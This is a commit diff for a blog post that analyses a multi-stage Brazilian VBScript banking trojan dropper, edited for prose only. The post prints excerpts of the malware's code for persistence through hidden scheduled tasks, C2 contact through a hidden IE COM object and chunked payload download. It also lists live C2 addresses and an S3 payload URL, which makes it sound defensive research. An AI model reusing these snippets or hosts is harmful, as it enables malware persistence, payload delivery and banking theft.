Skip to content

Commit e7362f9

Browse files
committed
edit: clean up prose in vbs trojan writeup
1 parent afaddc9 commit e7362f9

1 file changed

Lines changed: 39 additions & 57 deletions

File tree

src/content/blog/malware-analysis-brazilian-vbs-trojan.md

Lines changed: 39 additions & 57 deletions
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,14 @@
11
---
22
title: "Dissecting a Brazilian Multi-Stage VBScript Trojan Dropper"
3-
description: "Deep dive technical analysis of a multi-stage VBScript malware targeting Portuguese-speaking users, featuring heavy obfuscation, staged payload delivery via hidden IE COM objects, and Windows Task Scheduler persistence"
3+
description: "Technical analysis of a multi-stage VBScript malware targeting Portuguese-speaking users, with heavy obfuscation, staged payload delivery via hidden IE COM objects, and Windows Task Scheduler persistence"
44
pubDate: "2026-03-16"
55
featured: true
66
category: "Malware Analysis"
77
---
88

9-
Hey guys, I'm back with a new article, and this time we're going to do something fun **a full malware analysis** of a real-world sample I got my hands on. This is a multi-stage VBScript Trojan dropper that specifically targets Portuguese-speaking users. We'll go through the entire kill chain, from the initial delivery URL all the way down to deobfuscating the payload and understanding its C2 communication.
9+
Hey guys, I'm back with a new article, and this time we're going to do something fun - a full malware analysis of a real-world sample I got my hands on. This is a multi-stage VBScript Trojan dropper that specifically targets Portuguese-speaking users. We'll go through the entire kill chain, from the initial delivery URL all the way down to deobfuscating the payload and understanding its C2 communication.
1010

11-
I think it's important to mention that **you should NEVER run malware outside of a sandboxed environment**. If you want to follow along, make sure you're working inside an isolated VM (check out my previous article on how to set one up !).
11+
Quick disclaimer: you should NEVER run malware outside of a sandboxed environment. If you want to follow along, make sure you're working inside an isolated VM (check out my previous article on how to set one up !).
1212

1313
Let's get into it !
1414

@@ -58,22 +58,22 @@ sha256: 9b1a2b025f5f9fcc13eec998aee04a640b3d2cf944b636ee3b2016e5e8167b5f
5858
md5: 7e14bca371b09b68040ceb378b502915
5959
```
6060

61-
Inside the ZIP we find **two files**:
61+
Inside the ZIP we find two files:
6262

6363
| File | Size | Type |
6464
|------|------|------|
6565
| `Comprovativo_Março_12-03-2026-fVFLCFw.vbs` | 5.4 MB | VBScript (ASCII text) |
6666
| `Comprovativo_Março_12-03-2026-fVFLCFw` | 47 MB | PE32 executable (GUI) Intel 80386 |
6767

68-
This is interesting. We have a **VBScript dropper** (the initial stage) and a **PE32 binary** bundled together. The binary has no file extension on purpose - probably to avoid triggering basic AV heuristics on the ZIP contents.
68+
So we have a VBScript dropper (the initial stage) and a PE32 binary bundled together. The binary has no file extension on purpose, probably to avoid triggering basic AV heuristics on the ZIP contents.
6969

7070
---
7171

7272
## Stage 1 - The VBScript Dropper
7373

7474
### Overview
7575

76-
The VBS file is **5.4 MB** and **10,116 lines** long. That's absolutely massive for a VBScript. Let's see why.
76+
The VBS file is 5.4 MB and 10,116 lines long. That's absurd for a VBScript. Let's see why.
7777

7878
```bash
7979
wc -l extracted_payload.vbs
@@ -88,11 +88,7 @@ RSFCRKdhIooxNaEznecGcNDdOBSADSJqwZPEINsXlwrOnA = UhiSmA1(89) + UhiSmA1(121) + Uh
8888
WDkNVKiTqLpLFMkAgRGKvIBARvndsEFxPtDWlGWZJMhKIh = UhiSmA1(106) + UhiSmA1(79) + UhiSmA1(117) + ...
8989
```
9090

91-
**96.4% of the file is junk code.** Out of 10,116 lines, only **~424 lines are meaningful**. The rest is junk code, random variable names (30-45 characters long) assigned to random string concatenations. This is a classic anti-analysis padding technique to:
92-
93-
1. Overwhelm analysts who open the file
94-
2. Slow down automated sandboxes
95-
3. Make pattern matching harder for AV engines
91+
96.4% of the file is junk code. Out of 10,116 lines, only ~424 lines are meaningful. The rest is random variable names (30-45 characters long) assigned to garbage string concatenations. It's padding, meant to make your eyes glaze over when you open the file, slow down sandboxes, and throw off AV pattern matching.
9692

9793
### The Obfuscation Layer - `UhiSmA1()`
9894

@@ -108,7 +104,7 @@ Function UhiSmA1(rpidscSPL2)
108104
End Function
109105
```
110106

111-
This is functionally equivalent to `Chr(N)` it maps ASCII codes (32-126) to their character representation through a lookup string instead of using `Chr()` directly. Smart move to avoid signature detection on `Chr()` concatenation patterns, which is a well-known VBS obfuscation indicator.
107+
This is functionally equivalent to `Chr(N)` it maps ASCII codes (32-126) to their character representation through a lookup string instead of calling `Chr()` directly. The reason: `Chr()` concatenation chains are a well-known VBS obfuscation indicator that AV signatures flag on, so routing through a custom function sidesteps that.
112108

113109
### Deobfuscation
114110

@@ -141,7 +137,7 @@ Sub IQQQDNlBYiabSN...()
141137
End Sub
142138
```
143139

144-
First thing it does: creates a **`.lnk` shortcut** in `%APPDATA%` pointing back to itself. This is a basic persistence mechanism.
140+
First thing it does: creates a `.lnk` shortcut in `%APPDATA%` pointing back to itself. Basic persistence.
145141

146142
### Step 2: Move .lnk to Startup Folder via Scheduled Task
147143

@@ -169,12 +165,7 @@ Sub thCdGRXkYWmHai...()
169165
End Sub
170166
```
171167

172-
Instead of directly moving the file (which would be suspicious), it creates a **Windows Task Scheduler job** that runs `cmd.exe` to move the `.lnk` shortcut into the **Startup folder** 15 seconds later. The task is:
173-
- **Hidden** (`Settings.Hidden = True`)
174-
- **No execution time limit** (`PT0S`)
175-
- Named with just a dash and the current second (`-42`, `-17`, etc.) to blend in
176-
177-
This ensures the malware **survives reboots**.
168+
Instead of directly moving the file (which would be suspicious), it creates a Windows Task Scheduler job that runs `cmd.exe` to move the `.lnk` shortcut into the Startup folder 15 seconds later. The task is hidden (`Settings.Hidden = True`), has no execution time limit (`PT0S`), and is named with just a dash and the current second (`-42`, `-17`, etc.) to blend in. Now the malware survives reboots.
178169

179170
### Step 3: Generate the C2 URL
180171

@@ -188,7 +179,7 @@ The C2 server is at **`http://18.230.59.64/`** -> an AWS IP in the **São Paulo
188179

189180
### Step 4: Write Stage 2 VBS to %TEMP%
190181

191-
This is where it gets really interesting. The script dynamically **generates a second VBS file** and writes it to `%TEMP%\{random}.vbs`. It writes it line by line, interspersed with more junk code padding:
182+
The script dynamically generates a second VBS file and writes it to `%TEMP%\{random}.vbs`, line by line, interspersed with more junk code padding:
192183

193184
```vbscript
194185
Set fso = CreateObject("Scripting.FileSystemObject")
@@ -201,7 +192,7 @@ For i = 1 To 40 : writer.WriteLine randomVar & " = " & Chr(34) & randomString &
201192
' ... continues for hundreds of lines
202193
```
203194

204-
The stage 2 payload is itself padded with junk code at write time ! Even the second stage will be obfuscated when written to disk.
195+
The stage 2 payload gets padded with junk code at write time. Obfuscation all the way down.
205196

206197
### Step 5: Schedule Stage 2 Execution
207198

@@ -223,7 +214,7 @@ Function mWWtQEHQcbKJBSu...(vbsPath)
223214
End Function
224215
```
225216

226-
Another **hidden scheduled task**, this time running `wscript.exe` with the stage 2 VBS as argument. Triggers 10 seconds later.
217+
Another hidden scheduled task, this time running `wscript.exe` with the stage 2 VBS as argument. Triggers 10 seconds later.
227218

228219
### Step 6: Wait for Signal, Then Execute Downloaded Payload
229220

@@ -240,7 +231,7 @@ Loop
240231
Call mWWtQEHQcbKJBSu...(downloadedPayloadPath)
241232
```
242233

243-
This is a classic **inter-process communication mechanism**. Stage 1 polls for a specific folder in `%TEMP%`. When stage 2 finishes downloading the payload, it creates that folder as a signal. Stage 1 detects it and schedules the downloaded payload for execution.
234+
Stage 1 sits in a loop polling for a specific folder in `%TEMP%`. When stage 2 finishes downloading the payload, it creates that folder as a signal. Stage 1 detects it and schedules the downloaded payload for execution.
244235

245236
---
246237

@@ -269,12 +260,7 @@ ie.Stop
269260
ie.Quit
270261
```
271262

272-
Instead of using `MSXML2.XMLHTTP` or `WinHttp` directly (which are heavily monitored), the malware spawns a **hidden Internet Explorer COM object** to contact the C2 server. This is an evasion technique because:
273-
274-
1. IE traffic looks like normal user browsing to network monitors
275-
2. It inherits the system's proxy settings automatically
276-
3. It bypasses some application-level firewalls
277-
4. The COM interface is less commonly hooked by security tools
263+
Instead of using `MSXML2.XMLHTTP` or `WinHttp` directly (which are heavily monitored), the malware spawns a hidden Internet Explorer COM object to contact the C2 server. IE traffic blends in with normal browsing on network monitors, it automatically inherits the system's proxy settings, and the COM interface is less commonly hooked by security tools than the usual HTTP libraries. It's a surprisingly effective trick for 2026.
278264

279265
I was able to access the C2 while it was still live and confirmed what the response looks like:
280266

@@ -286,7 +272,7 @@ The C2 responds with a **second S3 URL** from a different bucket:
286272
https://recadastraria.s3.us-east-2.amazonaws.com/AgGzpIn
287273
```
288274

289-
Note the bucket name **`recadastraria`** -> Portuguese for "re-register", keeping with the banking/financial theme. This URL points to the actual **Stage 3 payload** (75MB of obfuscated VBScript, 131,575 lines !).
275+
Note the bucket name `recadastraria`, Portuguese for "re-register", keeping with the banking/financial theme. This URL points to the actual Stage 3 payload (75MB of obfuscated VBScript, 131,575 lines !).
290276

291277
### Chunked Binary Download via HTTP Range Requests
292278

@@ -343,13 +329,9 @@ Function downloadPayload(url, savePath)
343329
End Function
344330
```
345331

346-
The download uses **HTTP Range requests** to download in ~1MB chunks. This is another evasion technique:
347-
- Avoids downloading a large suspicious binary in a single request
348-
- Each chunk is too small to trigger size-based heuristics
349-
- The chunked pattern mimics legitimate download managers
350-
- Some proxies/IDS won't reconstruct the full file from partial downloads
332+
The download uses HTTP Range requests to pull the file in ~1MB chunks. No single request is large enough to trigger size-based heuristics, the pattern looks like a normal download manager to any proxy watching, and some IDS won't bother reconstructing the full file from partials.
351333

352-
After download completes, it creates the **signal folder** in `%TEMP%` to notify stage 1.
334+
After download completes, it creates the signal folder in `%TEMP%` to notify stage 1.
353335

354336
### Call Chain Obfuscation
355337

@@ -363,32 +345,32 @@ randomSub1() -> randomSub2() -> ... -> randomSubN() -> actualDownloadFunction()
363345

364346
## Stage 3 - The Final VBS Payload (75MB !)
365347

366-
The payload downloaded from the C2 is another **massive obfuscated VBScript** -> 131,575 lines, 75MB. Same obfuscation pattern but using `zoMcM()` instead of `UhiSmA1()`. The function names are in **Portuguese** (`inflemoUu`, `afanosaspW`, `paparicarmoHo`, `fiscalizamxN`) - further confirming Brazilian authorship.
348+
The payload downloaded from the C2 is another massive obfuscated VBScript, 131,575 lines, 75MB. Same obfuscation pattern but using `zoMcM()` instead of `UhiSmA1()`. The function names are in Portuguese (`inflemoUu`, `afanosaspW`, `paparicarmoHo`, `fiscalizamxN`), which further confirms Brazilian authorship.
367349

368350
```
369351
SHA256: 046b7c23ec7b8649bae879c341cbeba120f26e04a89190a8f458e35702fee5e8
370352
Size: 75 MB (131,575 lines)
371353
Type: ASCII text (obfuscated VBScript)
372354
```
373355

374-
Key capabilities found after deobfuscating the code:
356+
After deobfuscation, here's what's inside:
375357

376358
| Capability | Details |
377359
|-----------|---------|
378-
| **MD5 Hashing** | Full VBScript MD5 implementation (`equiparmosWT`) - used to build victim machine fingerprint for C2 |
379-
| **AV Detection** | WMI query: `SELECT displayName FROM AntiVirusProduct` via `SecurityCenter2` |
380-
| **OS Fingerprinting** | `SELECT Caption, Version, BuildNumber FROM Win32_OperatingSystem` |
381-
| **Hardware Fingerprinting** | `SELECT SerialNumber FROM Win32_BIOS` + `Win32_BaseBoard` + GPU PNPDeviceID via WMI |
382-
| **Network Check** | `Win32_NetworkAdapterConfiguration Where IPEnabled = True` |
383-
| **Process Enumeration** | `Select * from Win32_Process Where Name = 'wscript.exe'` |
384-
| **DLL Drop + Exec** | Downloads DLL from C2-provided URL, executes via hidden `%APPDATA%\.cmd` batch -> `rundll32.exe` |
385-
| **HTTP Download** | Uses `WinHttp.WinHttpRequest.5.1` with chunked range requests and retry logic |
386-
| **Startup Persistence** | `WScript.Shell.SpecialFolders("Startup")` |
387-
| **Scheduled Tasks** | `Schedule.Service` with `PT10M` execution limit |
388-
| **Signal Folders** | Creates `propugne.php` and `porfies.php` in `%TEMP%` |
389-
| **Self-Cleanup** | `DeleteFile` / `DeleteFolder` to cover tracks |
390-
391-
This is the **actual banking trojan loader** -> it fingerprints the system, checks for AV, beacons to its own C2 (separate from Stage 2's C2), receives a DLL URL and entrypoint, then drops and executes the final payload via `rundll32.exe`. The 15-minute sleep (`WScript.Sleep 15 * 60 * 1000`) between C2 retries shows it's designed for stealth over speed.
360+
| MD5 Hashing | Full VBScript MD5 implementation (`equiparmosWT`) - used to build victim machine fingerprint for C2 |
361+
| AV Detection | WMI query: `SELECT displayName FROM AntiVirusProduct` via `SecurityCenter2` |
362+
| OS Fingerprinting | `SELECT Caption, Version, BuildNumber FROM Win32_OperatingSystem` |
363+
| Hardware Fingerprinting | `SELECT SerialNumber FROM Win32_BIOS` + `Win32_BaseBoard` + GPU PNPDeviceID via WMI |
364+
| Network Check | `Win32_NetworkAdapterConfiguration Where IPEnabled = True` |
365+
| Process Enumeration | `Select * from Win32_Process Where Name = 'wscript.exe'` |
366+
| DLL Drop + Exec | Downloads DLL from C2-provided URL, executes via hidden `%APPDATA%\.cmd` batch -> `rundll32.exe` |
367+
| HTTP Download | Uses `WinHttp.WinHttpRequest.5.1` with chunked range requests and retry logic |
368+
| Startup Persistence | `WScript.Shell.SpecialFolders("Startup")` |
369+
| Scheduled Tasks | `Schedule.Service` with `PT10M` execution limit |
370+
| Signal Folders | Creates `propugne.php` and `porfies.php` in `%TEMP%` |
371+
| Self-Cleanup | `DeleteFile` / `DeleteFolder` to cover tracks |
372+
373+
This is the actual banking trojan loader. It fingerprints the system, checks for AV, beacons to its own C2 (separate from Stage 2's C2), receives a DLL URL and entrypoint, then drops and executes the final payload via `rundll32.exe`. The 15-minute sleep (`WScript.Sleep 15 * 60 * 1000`) between C2 retries tells you this thing is patient. It's not in a rush.
392374

393375
### Stage 3 C2 Protocol - Full Reversal
394376

@@ -501,7 +483,7 @@ Size: 47 MB
501483

502484
### What It Actually Is
503485

504-
After static analysis with Ghidra and `pefile`, this binary turns out to be a **legitimate, unmodified Microsoft Visual Studio 2003 self-extracting cabinet installer**, not a trojanized payload.
486+
After static analysis with Ghidra and `pefile`, this binary turns out to be a legitimate, unmodified Microsoft Visual Studio 2003 self-extracting cabinet installer. Not trojanized at all.
505487

506488
```
507489
CompanyName: Microsoft Corporation
@@ -514,7 +496,7 @@ InternalName: sfxcab
514496
OriginalFilename: sfxcab.exe
515497
```
516498

517-
The version info block is **accurate**, this is a genuine `sfxcab.exe` Microsoft SFX installer from the VS 2003 era (compile timestamp: 2005-06-01).
499+
The version info block checks out. It's a genuine `sfxcab.exe` Microsoft SFX installer from the VS 2003 era (compile timestamp: 2005-06-01). They just bundled it in the ZIP to make the archive look more legitimate, like a real software package.
518500

519501
---
520502

@@ -629,11 +611,11 @@ flowchart TD
629611

630612
## Conclusion
631613

632-
This is a well-crafted piece of malware that's clearly targeting Brazilian or Portuguese-speaking banking customers. The multi-stage approach with inter-process signaling via filesystem polling, the use of hidden IE COM objects for C2, and the chunked download mechanism show a level of sophistication that goes beyond your average script kiddie dropper.
614+
Whoever built this knows what they're doing. The filesystem polling for IPC, the hidden IE COM objects, the chunked downloads, the two-phase C2 with hardware-keyed victim provisioning... this isn't someone copy-pasting from a tutorial.
633615

634-
The obfuscation technique of padding the VBS with 96% junk code is effective but also lazy in a way, it inflates the file to 5.4MB which is unusual for a VBS and could itself be a detection indicator. The `UhiSmA1()` / `zoMcM()` Chr() wrappers are a nice touch though, avoiding direct `Chr()` concatenation patterns that most AV signatures look for.
616+
That said, the 96% junk code padding is a double-edged sword. Yeah, it buries the real logic, but it also inflates the VBS to 5.4MB, which is weird enough on its own to be a detection signal. The `UhiSmA1()` / `zoMcM()` wrappers for `Chr()` are smarter. Most AV signatures flag on `Chr()` concatenation chains, so routing through a custom lookup function dodges that entirely.
635617

636-
The Stage 3 C2 protocol is notably sophisticated, a two-phase registration+provisioning model where the server maintains a victim registry keyed by a hardware-derived MD5 fingerprint. The server will only dispatch a DLL URL to fingerprints it recognizes, making it impossible to obtain the final payload without a registered victim machine. At time of writing, the C2 endpoint at `3.135.194.95` is still live and accepting beacons.
618+
The part that impressed me most was the Stage 3 C2. The server maintains a victim registry keyed by a hardware-derived MD5 fingerprint, and it will only dispatch a DLL URL to fingerprints it recognizes from a prior GET registration. You can't just curl the endpoint and get the payload. At time of writing, the C2 at `3.135.194.95` is still live and accepting beacons.
637619

638620
If you see any S3 links with Portuguese filenames showing up in your inbox... maybe don't click them.
639621

0 commit comments

Comments
 (0)